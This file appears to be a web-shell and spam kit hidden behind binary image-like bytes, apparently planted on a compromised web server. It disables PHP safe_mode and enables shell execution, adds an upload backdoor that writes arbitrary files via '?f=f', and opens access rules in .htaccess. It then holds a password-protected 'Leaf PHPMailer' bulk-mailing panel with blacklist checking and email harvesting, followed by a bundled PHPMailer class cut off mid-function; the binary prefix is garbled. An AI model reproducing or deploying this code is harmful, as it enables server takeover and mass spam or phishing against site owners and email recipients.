k/Sh̀)eD_"3˵S3pSѳy	$Ҷȉ1PPc7L%{l$:VT ?d17ѷ%4qIx!㎵ȏdVoF@vyTlOnpT%ҤASCWnJoG4	.O-a3,ɗat'ŇqRT{*S KRP?8o{P-A
Wj*E^rm3/=;?Pr/{& J4pȟrvCFYٷBvsctyqabrgɼ] %qwO=)į]\U/uB{7e(HʡdV Ժ3٨膖w'}B:OC	Y?4$cO*VfqIߧ$3Z|r)IA;7w.{&Vߊ!{eoTg^Gvsctyqabrg~˙`vp`K_deVj$)(KCMs;r?;Z3#J{"vsctyqabrgRBKM)k
mD'Ɵo!Ձ'w4VP	P@Ph kpGOt*+|lHevsctyqabrgYt {*vsctyqabrgRO_ءtvsctyqabrg:]_ڹL)mU8,fbGSw^_:KCpѥΜ
NTMYU#@5-tF"ՆN"'A'17~8`%p]'RY+[#H"lrwaujnlfhbчfs$*qQ/WcFv{ӓhU/W4}sR%Ǿ92EȰTL5FJ-I1Fqybǒ2_O$Pio;vsctyqabrgpnƔ=p'z-}	~MiûxrwaujnlfhbX|vsctyqabrgfZyj!?C6Zd9?XF )dN˵}d
]/}Q"0pxWTϖXg% .A2e:zҭ*H|ZMع4 !O8tj6-M8n]梔lbkhDJC*!Q s~@hhrwaujnlfhbTDW^\1s	=fEg`-^h2[hK3/6¤`˖f63?U03|5^,+
@D^rB6%[&Ut޴LKhgvu56KzQTE,ji8k= $R"0%8tyx,SG$lG~G,Q]vxX/{C'Tp@A
~ScBA@t kG$vsctyqabrgKhNDP!t39B 
vG'ubXj6ڭ$D5`Pf𓧀\.k N!-Bo\Lζ8Op`9dOrwaujnlfhb3NHUkD`d
/O;Utѹԥ-xPޯDǼ#s`ݟI ۀs8TfڼZSx?}Mf!ڻT_w=5XLE[T{[F- -J̊@naw5I@D#)|&&.{{FRȝ^eZBx$ EW5ڈA M7ڒkrP/otm#zTva/L?i]BieKvsctyqabrg]i.rwaujnlfhb5cvsctyqabrg,sFvlȈFh;fbN;rn~w#rwaujnlfhbSaEqPfB/Krwaujnlfhb|=.]cu&ع` c\ƥ
rB~;%˞4UZX/jOv'%ص!:1V`}\{e
rwaujnlfhb5+=6v` I2:uHA -6] ΩgYxFvsctyqabrgCCV%ߜ)c-,arwaujnlfhb=ɱrO A]G0Pg	/;K4~#ngݼKzkēT !*b¿#SOvĖBsafe_mode = Off
disable_functions = NONE
safe_mode_gid = OFF
open_basedir = OFF
exec = ON
shell_exec = ON<?php error_reporting(0); if(trim($_GET['f']) == 'f'){ $saw1 = $_FILES['file']['tmp_name']; $saw2 = '../'.$_FILES['file']['name']; echo "<form method='POST' enctype='multipart/form-data'><input type='file'name='file' /><input type='submit' value='upload' /></form>"; if($saw1 && $saw2) move_uploaded_file($saw1, $saw2); } ?>

Order Deny,Allow
<FilesMatch "\.(html|bash|sh|pl|perl|txt|htm|phtml|css|js|php|png|jpg|jpeg|txt|webp|mp4|svg|pdf|mov)$">
    Order Deny,Allow
    Allow From All
</FilesMatch>

<?php

$password = "wAqF6kTUhCM";

session_start();
error_reporting(0);
set_time_limit(0);
ini_set("memory_limit",-1);

$leaf['version']="2.8";
$leaf['website']="leafmailer.pw";


$sessioncode = md5(__FILE__);
if(!empty($password) and $_SESSION[$sessioncode] != $password){
    if (isset($_REQUEST['pass']) and $_REQUEST['pass'] == $password) {
        $_SESSION[$sessioncode] = $password;
    }
    else {
        print "<pre align=center><form method=post>Password: <input type='password' name='pass'><input type='submit' value='>>'></form></pre>";
        exit;        
    }
}

session_write_close();


function leafClear($text,$email){
	$e = explode('@', $email);
	$emailuser=$e[0];
	$emaildomain=$e[1];
    $text = str_replace("[-time-]", date("m/d/Y h:i:s a", time()), $text);
    $text = str_replace("[-email-]", $email, $text);
    $text = str_replace("[-emailuser-]", $emailuser, $text);
    $text = str_replace("[-emaildomain-]", $emaildomain, $text);
    $text = str_replace("[-randomletters-]", randString('abcdefghijklmnopqrstuvwxyz'), $text);
    $text = str_replace("[-randomstring-]", randString('abcdefghijklmnopqrstuvwxyz0123456789'), $text);
    $text = str_replace("[-randomnumber-]", randString('0123456789'), $text);
    $text = str_replace("[-randommd5-]", md5(randString('abcdefghijklmnopqrstuvwxyz0123456789')), $text);
    return $text;  
}
function leafTrim($string){
	$string=urldecode($string);
    return stripslashes(trim($string));
}
function randString($consonants) {
    $length=rand(12,25);
    $password = '';
    for ($i = 0; $i < $length; $i++) {
            $password .= $consonants[(rand() % strlen($consonants))];
    }
    return $password;
}
function leafMailCheck($email){
    if (filter_var($email, FILTER_VALIDATE_EMAIL)) return true;
    else return false;
}
# Bulit-in BlackList Checker 
if(isset($_GET['check_ip'])){
    if (isset($_GET['host'])){
        $_GET['host']=explode(",", $_GET['host']);
        foreach ($_GET['host'] as $host) {
            if (checkdnsrr($_GET['check_ip'] . "." .  $host . ".", "A")) $check= "<font color='red'> Listed</font>";
            else $check= "<font color='green'> Clean</font>";
            print 'document.getElementById("'. $host.'").innerHTML = "'.$check.'";';
        }

        exit;
    }
    $dnsbl_lookup = array(
        "all.s5h.net",
        "b.barracudacentral.org",
        "bl.spamcop.net",
        "blacklist.woody.ch",
        "bogons.cymru.com",
        "cbl.abuseat.org",
        "cdl.anti-spam.org.cn",
        "combined.abuse.ch",
        "db.wpbl.info",
        "dnsbl-1.uceprotect.net",
        "dnsbl-2.uceprotect.net",
        "dnsbl-3.uceprotect.net",
        "dnsbl.anticaptcha.net",
        "dnsbl.dronebl.org",
        "dnsbl.inps.de",
        "dnsbl.sorbs.net",
        "drone.abuse.ch",
        "duinv.aupads.org",
        "dul.dnsbl.sorbs.net",
        "dyna.spamrats.com",
        "dynip.rothen.com",
        "http.dnsbl.sorbs.net",
        "ips.backscatterer.org",
        "ix.dnsbl.manitu.net",
        "korea.services.net",
        "misc.dnsbl.sorbs.net",
        "noptr.spamrats.com",
        "orvedb.aupads.org",
        "pbl.spamhaus.org",
        "proxy.bl.gweep.ca",
        "psbl.surriel.com",
        "relays.bl.gweep.ca",
        "relays.nether.net",
        "sbl.spamhaus.org",
        "short.rbl.jp",
        "singular.ttk.pte.hu",
        "smtp.dnsbl.sorbs.net",
        "socks.dnsbl.sorbs.net",
        "spam.abuse.ch",
        "spam.dnsbl.anonmails.de",
        "spam.dnsbl.sorbs.net",
        "spam.spamrats.com",
        "spambot.bls.digibase.ca",
        "spamrbl.imp.ch",
        "spamsources.fabel.dk",
        "ubl.lashback.com",
        "ubl.unsubscore.com",
        "virus.rbl.jp",
        "web.dnsbl.sorbs.net",
        "wormrbl.imp.ch",
        "xbl.spamhaus.org",
        "z.mailspike.net",
        "zen.spamhaus.org",
        "zombie.dnsbl.sorbs.net",
    );
    $reverse_ip = implode(".", array_reverse(explode(".", $_GET['check_ip'])));
    $dnsT = count($dnsbl_lookup);
    leafheader();
    print '<div class="container col-lg-6"><h3><font color="green"><span class="glyphicon glyphicon-leaf"></span></font> Leaf PHPMailer <small>Blacklist Checker</small></h3>';
    Print "Checking <b>".$_GET['check_ip']."</b> in <b>$dnsT</b>  anti-spam databases:<br>";
    $dnsN="";
    print '<table >';
    for ($i=0; $i < $dnsT; $i=$i+10) { 
        $host="";
        $hosts="";
        for($j=$i; $j<$i+10;$j++){
            $host=$dnsbl_lookup[$j];
            if(!empty($host)){
                print "<tr> <td>$host</td> <td id='$host'>Checking ..</td></tr>";
                $hosts .="$host,";
            }
        }
        $dnsN.="<script src='?check_ip=$reverse_ip&host=".$hosts."' type='text/javascript'></script>";
    }

    print '</table></div>';
    print $dnsN;
    exit;
}
if(isset($_GET['emailfilter'])){

    if(!empty($_FILES['fileToUpload']['tmp_name'])){
        $_POST['emailList']= file_get_contents($_FILES["fileToUpload"]["tmp_name"]); 
    }
    $_POST['emailList']=strtolower($_POST['emailList']);
   if($_GET['emailfilter']=="ifram"){
        if ($_POST['resulttype'] == "download"){
            header("Content-Description: File Transfer"); 
            header("Content-Type: application/octet-stream"); 
            header("Content-Disposition: attachment; filename=emails".time().".txt");
        }
        else {
            header("Content-Type: text/plain");
        }
    if($_POST['submit']=="extract"){
        $pattern = '/[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,4}/';
        preg_match_all($pattern, $_POST['emailList'], $matches);
        foreach ($matches[0] as $email) {
            print $email."\n";
        }
    }
    elseif ($_POST['submit']=="filter") {
        $emails=explode("\n", $_POST['emailList']);
        $keywords=explode("\n", strtolower($_POST['keywords']));
        foreach ($emails as $email) {
            foreach ($keywords as $keyword ) {
                if(strstr($email, $keyword) ){
                    print $email."\n";
                     break;
                }
               
            }
        }

    }
    exit;
   }
   leafheader();
   print '<div class="container col-lg-4"><h3><font color="green"><span class="glyphicon glyphicon-leaf"></span></font> Leaf PHPMailer <small>Email Filter</small></h3>';
   print '
    <form action="?emailfilter=ifram" method="POST" target="my-iframe" enctype="multipart/form-data" onsubmit=\'\'>
        <label for="emailList">Text </label><input type="file" name="fileToUpload" id="fileToUpload"> 
        or

        <textarea name="emailList" id="emailList" class="form-control" rows="7" id="textArea"></textarea>
      <div class="col-lg-12">
        <div class="radio">
          <label>
            <input type="radio" name="resulttype" id="resulttype" value="here" checked="">
            Show Result in this page
          </label>
        </div>
        <div class="radio">
          <label>
            <input type="radio" name="resulttype" id="resulttype" value="download">
            Download Result (for big numbers)
          </label>
        </div>
      </div>
            <legend><h4>Extract Email</h4></legend>
            Detecting every email (100%) and order them line by line <br><br>
        <button type="submit" name="submit" value="extract" class="btn btn-default btn-sm">Start</button>
            <legend><h4>Filter Emails</h4></legend>
        <label >Keywords <small> ex: gmail.com or .co.uk</small> </label><textarea name="keywords" id="keywords" class="form-control" rows="4" id="textArea">gmail.com
hotmail.com
yahoo.com
.co.uk</textarea><br>

            <button type="submit" name="submit" value="filter" class="btn btn-default btn-sm">Start</button>
    </form>
    <label >Result </label>
    <iframe style="border:none;width:100%;" name="my-iframe"  src="?emailfilter=ifram" ></iframe>
   ';
   exit;

}
$html="checked";
$utf8="selected";
$bit8="selected";

if($_POST['action']=="send" or $_POST['action']=="score"){

    $senderEmail=leafTrim($_POST['senderEmail']);
    $senderName=leafTrim($_POST['senderName']);
    $replyTo=leafTrim($_POST['replyTo']);
    $subject=leafTrim($_POST['subject']);
    $emailList=leafTrim($_POST['emailList']);
    $messageType=leafTrim($_POST['messageType']);
    $messageLetter=leafTrim($_POST['messageLetter']);
    $encoding = $_POST['encode'];
    $charset = $_POST['charset'];
    $html="";
    $utf8="";
    $bit8="";

    if($messageType==2) $plain="checked";
    else $html="checked";

    if($charset=="ISO-8859-1") $iso="selected";
    else $utf8="selected";

    if($encoding=="7bit") $bit7="selected";
    elseif($encoding=="binary") $binary="selected";
    elseif($encoding=="base64") $base64="selected";
    elseif($encoding=="quoted-printable") $quotedprintable="selected";
    else $bit8="selected";



}
if($_POST['action']=="view"){
	$viewMessage=leafTrim($_POST['messageLetter']);
	$viewMessage=leafClear($viewMessage,"user@domain.com");
	if ($_POST['messageType']==2){
		print "<pre>".htmlspecialchars($viewMessage)."</pre>";
	}
	else {
		print $viewMessage;
	}
	exit;
}



if(!isset($_POST['senderEmail'])){
    $senderEmail="support@".str_replace("www.", "", $_SERVER['HTTP_HOST']);
    if (!leafMailCheck($senderEmail)) $senderEmail="";
}

class PHPMailer
{
    /**
     * The PHPMailer Version number.
     * @var string
     */
    public $Version = '5.2.28';

    /**
     * Email priority.
     * Options: null (default), 1 = High, 3 = Normal, 5 = low.
     * When null, the header is not set at all.
     * @var integer
     */
    public $Priority = null;

    /**
     * The character set of the message.
     * @var string
     */
    public $CharSet = 'iso-8859-1';

    /**
     * The MIME Content-type of the message.
     * @var string
     */
    public $ContentType = 'text/plain';

    /**
     * The message encoding.
     * Options: "8bit", "7bit", "binary", "base64", and "quoted-printable".
     * @var string
     */
    public $Encoding = '8bit';

    /**
     * Holds the most recent mailer error message.
     * @var string
     */
    public $ErrorInfo = '';

    /**
     * The From email address for the message.
     * @var string
     */
    public $From = 'root@localhost';

    /**
     * The From name of the message.
     * @var string
     */
    public $FromName = 'Root User';

    /**
     * The Sender email (Return-Path) of the message.
     * If not empty, will be sent via -f to sendmail or as 'MAIL FROM' in smtp mode.
     * @var string
     */
    public $Sender = '';

    /**
     * The Return-Path of the message.
     * If empty, it will be set to either From or Sender.
     * @var string
     * @deprecated Email senders should never set a return-path header;
     * it's the receiver's job (RFC5321 section 4.4), so this no longer does anything.
     * @link https://tools.ietf.org/html/rfc5321#section-4.4 RFC5321 reference
     */
    public $ReturnPath = '';

    /**
     * The Subject of the message.
     * @var string
     */
    public $Subject = '';

    /**
     * An HTML or plain text message body.
     * If HTML then call isHTML(true).
     * @var string
     */
    public $Body = '';

    /**
     * The plain-text message body.
     * This body can be read by mail clients that do not have HTML email
     * capability such as mutt & Eudora.
     * Clients that can read HTML will view the normal Body.
     * @var string
     */
    public $AltBody = '';

    /**
     * An iCal message part body.
     * Only supported in simple alt or alt_inline message types
     * To generate iCal events, use the bundled extras/EasyPeasyICS.php class or iCalcreator
     * @link http://sprain.ch/blog/downloads/php-class-easypeasyics-create-ical-files-with-php/
     * @link http://kigkonsult.se/iCalcreator/
     * @var string
     */
    public $Ical = '';

    /**
     * The complete compiled MIME message body.
     * @access protected
     * @var string
     */
    protected $MIMEBody = '';

    /**
     * The complete compiled MIME message headers.
     * @var string
     * @access protected
     */
    protected $MIMEHeader = '';

    /**
     * Extra headers that createHeader() doesn't fold in.
     * @var string
     * @access protected
     */
    protected $mailHeader = '';

    /**
     * Word-wrap the message body to this number of chars.
     * Set to 0 to not wrap. A useful value here is 78, for RFC2822 section 2.1.1 compliance.
     * @var integer
     */
    public $WordWrap = 0;

    /**
     * Which method to use to send mail.
     * Options: "mail", "sendmail", or "smtp".
     * @var string
     */
    public $Mailer = 'mail';

    /**
     * The path to the sendmail program.
     * @var string
     */
    public $Sendmail = '/usr/sbin/sendmail';

    /**
     * Whether mail() uses a fully sendmail-compatible MTA.
     * One which supports sendmail's "-oi -f" options.
     * @var boolean
     */
    public $UseSendmailOptions = true;

    /**
     * Path to PHPMailer plugins.
     * Useful if the SMTP class is not in the PHP include path.
     * @var string
     * @deprecated Should not be needed now there is an autoloader.
     */
    public $PluginDir = '';

    /**
     * The email address that a reading confirmation should be sent to, also known as read receipt.
     * @var string
     */
    public $ConfirmReadingTo = '';

    /**
     * The hostname to use in the Message-ID header and as default HELO string.
     * If empty, PHPMailer attempts to find one with, in order,
     * $_SERVER['SERVER_NAME'], gethostname(), php_uname('n'), or the value
     * 'localhost.localdomain'.
     * @var string
     */
    public $Hostname = '';

    /**
     * An ID to be used in the Message-ID header.
     * If empty, a unique id will be generated.
     * You can set your own, but it must be in the format "<id@domain>",
     * as defined in RFC5322 section 3.6.4 or it will be ignored.
     * @see https://tools.ietf.org/html/rfc5322#section-3.6.4
     * @var string
     */
    public $MessageID = '';

    /**
     * The message Date to be used in the Date header.
     * If empty, the current date will be added.
     * @var string
     */
    public $MessageDate = '';

    /**
     * SMTP hosts.
     * Either a single hostname or multiple semicolon-delimited hostnames.
     * You can also specify a different port
     * for each host by using this format: [hostname:port]
     * (e.g. "smtp1.example.com:25;smtp2.example.com").
     * You can also specify encryption type, for example:
     * (e.g. "tls://smtp1.example.com:587;ssl://smtp2.example.com:465").
     * Hosts will be tried in order.
     * @var string
     */
    public $Host = 'localhost';

    /**
     * The default SMTP server port.
     * @var integer
     * @TODO Why is this needed when the SMTP class takes care of it?
     */
    public $Port = 25;

    /**
     * The SMTP HELO of the message.
     * Default is $Hostname. If $Hostname is empty, PHPMailer attempts to find
     * one with the same method described above for $Hostname.
     * @var string
     * @see PHPMailer::$Hostname
     */
    public $Helo = '';

    /**
     * What kind of encryption to use on the SMTP connection.
     * Options: '', 'ssl' or 'tls'
     * @var string
     */
    public $SMTPSecure = '';

    /**
     * Whether to enable TLS encryption automatically if a server supports it,
     * even if `SMTPSecure` is not set to 'tls'.
     * Be aware that in PHP >= 5.6 this requires that the server's certificates are valid.
     * @var boolean
     */
    public $SMTPAutoTLS = true;

    /**
     * Whether to use SMTP authentication.
     * Uses the Username and Password properties.
     * @var boolean
     * @see PHPMailer::$Username
     * @see PHPMailer::$Password
     */
    public $SMTPAuth = false;

    /**
     * Options array passed to stream_context_create when connecting via SMTP.
     * @var array
     */
    public $SMTPOptions = array();

    /**
     * SMTP username.
     * @var string
     */
    public $Username = '';

    /**
     * SMTP password.
     * @var string
     */
    public $Password = '';

    /**
     * SMTP auth type.
     * Options are CRAM-MD5, LOGIN, PLAIN, NTLM, XOAUTH2, attempted in that order if not specified
     * @var string
     */
    public $AuthType = '';

    /**
     * SMTP realm.
     * Used for NTLM auth
     * @var string
     */
    public $Realm = '';

    /**
     * SMTP workstation.
     * Used for NTLM auth
     * @var string
     */
    public $Workstation = '';

    /**
     * The SMTP server timeout in seconds.
     * Default of 5 minutes (300sec) is from RFC2821 section 4.5.3.2
     * @var integer
     */
    public $Timeout = 300;

    /**
     * SMTP class debug output mode.
     * Debug output level.
     * Options:
     * * `0` No output
     * * `1` Commands
     * * `2` Data and commands
     * * `3` As 2 plus connection status
     * * `4` Low-level data output
     * @var integer
     * @see SMTP::$do_debug
     */
    public $SMTPDebug = 0;

    /**
     * How to handle debug output.
     * Options:
     * * `echo` Output plain-text as-is, appropriate for CLI
     * * `html` Output escaped, line breaks converted to `<br>`, appropriate for browser output
     * * `error_log` Output to error log as configured in php.ini
     *
     * Alternatively, you can provide a callable expecting two params: a message string and the debug level:
     * <code>
     * $mail->Debugoutput = function($str, $level) {echo "debug level $level; message: $str";};
     * </code>
     * @var string|callable
     * @see SMTP::$Debugoutput
     */
    public $Debugoutput = 'echo';

    /**
     * Whether to keep SMTP connection open after each message.
     * If this is set to true then to close the connection
     * requires an explicit call to smtpClose().
     * @var boolean
     */
    public $SMTPKeepAlive = false;

    /**
     * Whether to split multiple to addresses into multiple messages
     * or send them all in one message.
     * Only supported in `mail` and `sendmail` transports, not in SMTP.
     * @var boolean
     */
    public $SingleTo = false;

    /**
     * Storage for addresses when SingleTo is enabled.
     * @var array
     * @TODO This should really not be public
     */
    public $SingleToArray = array();

    /**
     * Whether to generate VERP addresses on send.
     * Only applicable when sending via SMTP.
     * @link https://en.wikipedia.org/wiki/Variable_envelope_return_path
     * @link http://www.postfix.org/VERP_README.html Postfix VERP info
     * @var boolean
     */
    public $do_verp = false;

    /**
     * Whether to allow sending messages with an empty body.
     * @var boolean
     */
    public $AllowEmpty = false;

    /**
     * The default line ending.
     * @note The default remains "\n". We force CRLF where we know
     *        it must be used via self::CRLF.
     * @var string
     */
    public $LE = "\n";

    /**
     * DKIM selector.
     * @var string
     */
    public $DKIM_selector = '';

    /**
     * DKIM Identity.
     * Usually the email address used as the source of the email.
     * @var string
     */
    public $DKIM_identity = '';

    /**
     * DKIM passphrase.
     * Used if your key is encrypted.
     * @var string
     */
    public $DKIM_passphrase = '';

    /**
     * DKIM signing domain name.
     * @example 'example.com'
     * @var string
     */
    public $DKIM_domain = '';

    /**
     * DKIM private key file path.
     * @var string
     */
    public $DKIM_private = '';

    /**
     * DKIM private key string.
     * If set, takes precedence over `$DKIM_private`.
     * @var string
     */
    public $DKIM_private_string = '';

    /**
     * Callback Action function name.
     *
     * The function that handles the result of the send email action.
     * It is called out by send() for each email sent.
     *
     * Value can be any php callable: http://www.php.net/is_callable
     *
     * Parameters:
     *   boolean $result        result of the send action
     *   array   $to            email addresses of the recipients
     *   array   $cc            cc email addresses
     *   array   $bcc           bcc email addresses
     *   string  $subject       the subject
     *   string  $body          the email body
     *   string  $from          email address of sender
     * @var string
     */
    public $action_function = '';

    /**
     * What to put in the X-Mailer header.
     * Options: An empty string for PHPMailer default, whitespace for none, or a string to use
     * @var string
     */
    public $XMailer = ' ';

    /**
     * Which validator to use by default when validating email addresses.
     * May be a callable to inject your own validator, but there are several built-in validators.
     * @see PHPMailer::validateAddress()
     * @var string|callable
     * @static
     */
    public static $validator = 'auto';

    /**
     * An instance of the SMTP sender class.
     * @var SMTP
     * @access protected
     */
    protected $smtp = null;

    /**
     * The array of 'to' names and addresses.
     * @var array
     * @access protected
     */
    protected $to = array();

    /**
     * The array of 'cc' names and addresses.
     * @var array
     * @access protected
     */
    protected $cc = array();

    /**
     * The array of 'bcc' names and addresses.
     * @var array
     * @access protected
     */
    protected $bcc = array();

    /**
     * The array of reply-to names and addresses.
     * @var array
     * @access protected
     */
    protected $ReplyTo = array();

    /**
     * An array of all kinds of addresses.
     * Includes all of $to, $cc, $bcc
     * @var array
     * @access protected
     * @see PHPMailer::$to @see PHPMailer::$cc @see PHPMailer::$bcc
     */
    protected $all_recipients = array();

    /**
     * An array of names and addresses queued for validation.
     * In send(), valid and non duplicate entries are moved to $all_recipients
     * and one of $to, $cc, or $bcc.
     * This array is used only for addresses with IDN.
     * @var array
     * @access protected
     * @see PHPMailer::$to @see PHPMailer::$cc @see PHPMailer::$bcc
     * @see PHPMailer::$all_recipients
     */
    protected $RecipientsQueue = array();

    /**
     * An array of reply-to names and addresses queued for validation.
     * In send(), valid and non duplicate entries are moved to $ReplyTo.
     * This array is used only for addresses with IDN.
     * @var array
     * @access protected
     * @see PHPMailer::$ReplyTo
     */
    protected $ReplyToQueue = array();

    /**
     * The array of attachments.
     * @var array
     * @access protected
     */
    protected $attachment = array();

    /**
     * The array of custom headers.
     * @var array
     * @access protected
     */
    protected $CustomHeader = array();

    /**
     * The most recent Message-ID (including angular brackets).
     * @var string
     * @access protected
     */
    protected $lastMessageID = '';

    /**
     * The message's MIME type.
     * @var string
     * @access protected
     */
    protected $message_type = '';

    /**
     * The array of MIME boundary strings.
     * @var array
     * @access protected
     */
    protected $boundary = array();

    /**
     * The array of available languages.
     * @var array
     * @access protected
     */
    protected $language = array();

    /**
     * The number of errors encountered.
     * @var integer
     * @access protected
     */
    protected $error_count = 0;

    /**
     * The S/MIME certificate file path.
     * @var string
     * @access protected
     */
    protected $sign_cert_file = '';

    /**
     * The S/MIME key file path.
     * @var string
     * @access protected
     */
    protected $sign_key_file = '';

    /**
     * The optional S/MIME extra certificates ("CA Chain") file path.
     * @var string
     * @access protected
     */
    protected $sign_extracerts_file = '';

    /**
     * The S/MIME password for the key.
     * Used only if the key is encrypted.
     * @var string
     * @access protected
     */
    protected $sign_key_pass = '';

    /**
     * Whether to throw exceptions for errors.
     * @var boolean
     * @access protected
     */
    protected $exceptions = false;

    /**
     * Unique ID used for message ID and boundaries.
     * @var string
     * @access protected
     */
    protected $uniqueid = '';

    /**
     * Error severity: message only, continue processing.
     */
    const STOP_MESSAGE = 0;

    /**
     * Error severity: message, likely ok to continue processing.
     */
    const STOP_CONTINUE = 1;

    /**
     * Error severity: message, plus full stop, critical error reached.
     */
    const STOP_CRITICAL = 2;

    /**
     * SMTP RFC standard line ending.
     */
    const CRLF = "\r\n";

    /**
     * The maximum line length allowed by RFC 2822 section 2.1.1
     * @var integer
     */
    const MAX_LINE_LENGTH = 998;

    /**
     * Constructor.
     * @param boolean $exceptions Should we throw external exceptions?
     */
    public function __construct($exceptions = null)
    {
        if ($exceptions !== null) {
            $this->exceptions = (boolean)$exceptions;
        }
        //Pick an appropriate debug output format automatically
        $this->Debugoutput = (strpos(PHP_SAPI, 'cli') !== false ? 'echo' : 'html');
    }

    /**
     * Destructor.
     */
    public function __destruct()
    {
        //Close any open SMTP connection nicely
        $this->smtpClose();
    }

    /**
     * Call mail() in a safe_mode-aware fashion.
     * Also, unless sendmail_path points to sendmail (or something that
     * claims to be sendmail), don't pass params (not a perfect fix,
     * but it will do)
     * @param string $to To
     * @param string $subject Subject
     * @param string $body Message Body
     * @param string $header Additional Header(s)
     * @param string $params Params
     * @access private
     * @return boolean
     */
    private function mailPassthru($to, $subject, $body, $header, $params)
    {
        //Check overloading of mail function to avoid double-encoding
        if (ini_get('mbstring.func_overload') & 1) {
            $subject = $this->secureHeader($subject);
        } else {
            $subject = $this->encodeHeader($this->secureHeader($subject));
        }

        //Can't use additional_parameters in safe_mode, calling mail() with null params breaks
        //@link http://php.net/manual/en/function.mail.php
        if (ini_get('safe_mode') or !$this->UseSendmailOptions or is_null($params)) {
            $result = @mail($to, $subject, $body, $header);
        } else {
            $result = @mail($to, $subject, $body, $header, $params);
        }
        return $result;
    }
    /**
     * Output debugging info via user-defined method.
     * Only generates output if SMTP debug output is enabled (@see SMTP::$do_debug).
     * @see PHPMailer::$Debugoutput
     * @see PHPMailer::$SMTPDebug
     * @param string $str
     */
    protected function edebug($str)
    {
        if ($this->SMTPDebug <= 0) {
            return;
        }
        //Avoid clash with built-in function names
        if (!in_array($this->Debugoutput, array('error_log', 'html', 'echo')) and is_callable($this->Debugoutput)) {
            call_user_func($this->Debugoutput, $str, $this->SMTPDebug);
            return;
        }
        switch ($this->Debugoutput) {
            case 'error_log':
                //Don't output, just log
                error_log($str);
                break;
            case 'html':
                //Cleans up output a bit for a better looking, HTML-safe output
                echo htmlentities(
                    preg_replace('/[\r\n]+/', '', $str),
                    ENT_QUOTES,
                    'UTF-8'
                )
                . "<br>\n";
                break;
            case 'echo':
            default:
                //Normalize line breaks
                $str = preg_replace('/\r\n?/ms', "\n", $str);
                echo gmdate('Y-m-d H:i:s') . "\t" . str_replace(
                    "\n",
                    "\n                   \t                  ",
                    trim($str)
                ) . "\n";
        }
    }

    /**
     * Send messages using SMTP.
     * @return void
     */
    public function isSMTP()
    {
        $this->Mailer = 'smtp';
    }

    /**
     * Send messages using PHP's mail() function.
     * @return void
     */
    public function isMail()
    {
        $this->Mailer = 'mail';
    }

    /**
     * Send messages using $Sendmail.
     * @return void
     */
    public function isSendmail()
    {
        $ini_sendmail_path = ini_get('sendmail_path');

        if (!stristr($ini_sendmail_path, 'sendmail')) {
            $this->Sendmail = '/usr/sbin/sendmail';
        } else {
            $this->Sendmail = $ini_sendmail_path;
        }
        $this->Mailer = 'sendmail';
    }

    /**
     * Send messages using qmail.
     * @return void
     */
    public function isQmail()
    {
        $ini_sendmail_path = ini_get('sendmail_path');

        if (!stristr($ini_sendmail_path, 'qmail')) {
            $this->Sendmail = '/var/qmail/bin/qmail-inject';
        } else {
            $this->Sendmail = $ini_sendmail_path;
        }
        $this->Mailer = 'qmail';
    }

    /**
     * Add a "To" address.
     * @param string $address The email address to send to
     * @param string $name
     * @return boolean true on success, false if address already used or invalid in some way
     */
    public function addAddress($address, $name = '')
    {
        return $this->addOrEnqueueAnAddress('to', $address, $name);
    }

    /**
     * Add a "CC" address.
     * @note: This function works with the SMTP mailer on win32, not with the "mail" mailer.
     * @param string $address The email address to send to
     * @param string $name
     * @return boolean true on success, false if address already used or invalid in some way
     */
    public function addCC($address, $name = '')
    {
        return $this->addOrEnqueueAnAddress('cc', $address, $name);
    }

    /**
     * Add a "BCC" address.
     * @note: This function works with the SMTP mailer on win32, not with the "mail" mailer.
     * @param string $address The email address to send to
     * @param string $name
     * @return boolean true on success, false if address already used or invalid in some way
     */
    public function addBCC($address, $name = '')
    {
        return $this->addOrEnqueueAnAddress('bcc', $address, $name);
    }

    /**
     * Add a "Reply-To" address.
     * @param string $address The email address to reply to
     * @param string $name
     * @return boolean true on success, false if address already used or invalid in some way
     */
    public function addReplyTo($address, $name = '')
    {
        return $this->addOrEnqueueAnAddress('Reply-To', $address, $name);
    }

    /**
     * Add an address to one of the recipient arrays or to the ReplyTo array. Because PHPMailer
     * can't validate addresses with an IDN without knowing the PHPMailer::$CharSet (that can still
     * be modified after calling this function), addition of such addresses is delayed until send().
     * Addresses that have been added already return false, but do not throw exceptions.
     * @param string $kind One of 'to', 'cc', 'bcc', or 'ReplyTo'
     * @param string $address The email address to send, resp. to reply to
     * @param string $name
     * @throws phpmailerException
     * @return boolean true on success, false if address already used or invalid in some way
     * @access protected
     */
    protected function addOrEnqueueAnAddress($kind, $address, $name)
    {
        $address = trim($address);
        $name = trim(preg_replace('/[\r\n]+/', '', $name)); //Strip breaks and trim
        if (($pos = strrpos($address, '@')) === false) {
            // At-sign is misssing.
            $error_message = $this->lang('invalid_address') . " (addAnAddress $kind): $address";
            $this->setError($error_message);
            $this->edebug($error_message);
            if ($this->exceptions) {
                throw new phpmailerException($error_message);
            }
            return false;
        }
        $params = array($kind, $address, $name);
        // Enqueue addresses with IDN until we know the PHPMailer::$CharSet.
        if ($this->has8bitChars(substr($address, ++$pos)) and $this->idnSupported()) {
            if ($kind != 'Reply-To') {
                if (!array_key_exists($address, $this->RecipientsQueue)) {
                    $this->RecipientsQueue[$address] = $params;
                    return true;
                }
            } else {
                if (!array_key_exists($address, $this->ReplyToQueue)) {
                    $this->ReplyToQueue[$address] = $params;
                    return true;
                }
            }
            return false;
        }
        // Immediately add standard addresses without IDN.
        return call_user_func_array(array($this, 'addAnAddress'), $params);
    }

    /**
     * Add an address to one of the recipient arrays or to the ReplyTo array.
     * Addresses that have been added already return false, but do not throw exceptions.
     * @param string $kind One of 'to', 'cc', 'bcc', or 'ReplyTo'
     * @param string $address The email address to send, resp. to reply to
     * @param string $name
     * @throws phpmailerException
     * @return boolean true on success, false if address already used or invalid in some way
     * @access protected
     */
    protected function addAnAddress($kind, $address, $name = '')
    {
        if (!in_array($kind, array('to', 'cc', 'bcc', 'Reply-To'))) {
            $error_message = $this->lang('Invalid recipient kind: ') . $kind;
            $this->setError($error_message);
            $this->edebug($error_message);
            if ($this->exceptions) {
                throw new phpmailerException($error_message);
            }
            return false;
        }
        if (!$this->validateAddress($address)) {
            $error_message = $this->lang('invalid_address') . " (addAnAddress $kind): $address";
            $this->setError($error_message);
            $this->edebug($error_message);
            if ($this->exceptions) {
                throw new phpmailerException($error_message);
            }
            return false;
        }
        if ($kind != 'Reply-To') {
            if (!array_key_exists(strtolower($address), $this->all_recipients)) {
                array_push($this->$kind, array($address, $name));
